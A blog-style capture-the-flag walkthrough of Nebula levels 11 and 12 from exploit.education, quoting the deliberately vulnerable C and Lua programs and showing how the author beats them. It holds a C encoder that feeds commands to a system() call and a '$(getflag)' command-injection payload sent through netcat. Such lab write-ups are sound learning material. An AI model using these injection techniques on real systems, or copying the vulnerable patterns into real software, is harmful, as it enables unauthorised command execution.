Welcome back to yet another cybersecurity post, I hope you are doing well!
Today we will go over the walkthroughs of Nebulaâs level 11 and 12 from exploit.education.
As always, I highly encourage you to try these CTFs yourself before reading the solution, you have been warned!
Letâs get down to it.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for
* it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
The source code we are given seems to read from stdin, then it checks the userâs input, and if everything is fine it executes system(buffer)
.
To be more precise, the program checks that the userâs message is no longer than the size of buf
, which is 1024 bytes.
We need to specify a header and a body, and the header must be of format "Content-Length: "
.
When such message is longer than 1024 bytes, the program generates a random path and returns its file descriptor, which it uses afterwards to dump the contents of the body.
A memory segment is given to allocate the contents of the file pointed at by the file descriptor fd
through mmap
, and then a call to process
is executed, which performs some kind of simple decryption algorithm and then executes system(buffer)
.
Obviously, we need to target this system
call, since it is highly likely that we can control the buffer
variable and execute whatever we want.
In the levelâs directory we find the executable corresponding to this code :
Just in case you want to do your research on some of the functions that are used in the source code, here are the links to their documentation :
The way to beat this level is to bypass the decryption algorithm, which is fairly easy since we can just code the function to encrypt our commands and then the process
function will decrypt them :
// Compile with gcc /tmp/encoder.c -o /tmp/encoder -std=c99
// By 0xPxt
#include <stdio.h>
#include <string.h>
void encode(char* buffer, int length);
int main(int argc, char** argv) {
char buffer[1024] = {0};
strncpy(buffer, "getflag", 1024);
encode(buffer, 1024);
puts("Content-Length: 1024");
printf("%s", buffer);
return 0;
}
void encode(char* buffer, int length) {
unsigned int key;
key = length & 0xff;
for (int i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i] ^ key;
}
}
Before running our exploit, we need to make sure the environment variable TEMP
points to /tmp
, which is where we have write permissions and where the program will try to create a random file.
We execute the code andâŠ
Do not get fooled by the message, I donât know what happens with the SUID bit, but this definitely counts!
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
I will not lie to you, this one looks way easier than level11, but that doesnât mean it wonât be fun đ.
I have needed to look up how Lua works, since I have never played around with it.
There is not much more you need to know to grasp what the source code does, but I leave you the documentation in case you havenât done anything related with socket programming so you can get some knowledge.
Home page for LuaSocket :
LuaSocket: Network support for the Lua language
To obtain the socket module require(âsocketâ)
is used :
Then an IP address (127.0.0.1) and a port (50001) are assigned with socket.bind
:
To accept the connection on the socket, there is a call to server:accept()
that returns a client object :
Now that the connection is stablished, data can be sent through client:send()
:
In order to return control from the blocking I/O operation, a timeout is set with client:settimeout()
:
Finally, data is received through the socket with client:receive()
:
I donât know how they made this level so obvious, but to my eyes we can clearly inject some code in the io.popen
function.
There is a clear command injection vulnerability and we can exploit it by sending a proper payload in the password
variable.
io.popen
documentation :
The program is running as a backdoor process, which means it is constantly up and running in the background.
Letâs just connect to it with netcat
and see what happens :
nc 127.0.0.1 50001
As expected, we are prompted for a password :
We can inject our command with the syntax $(getflag)
(bash command substitution).
This will result in the Lua program executing the following line :
prog = io.popen("echo $(getflag) | sha1sum", "r")
Since command substitution will execute the command and then substitute the $() syntax with the output, the resulting command will be :
echo You have successfully executed getflag on a target account | sha1sum
But there is a detail we are missing here, and that is that the process is being run in the background by the root user, which means we wonât be able to see the message in stdout.
A simple solution to this problem is to redirect the output to a file in /tmp
, so that we can see if the command was successfully executed :
Bingo! Another level completed!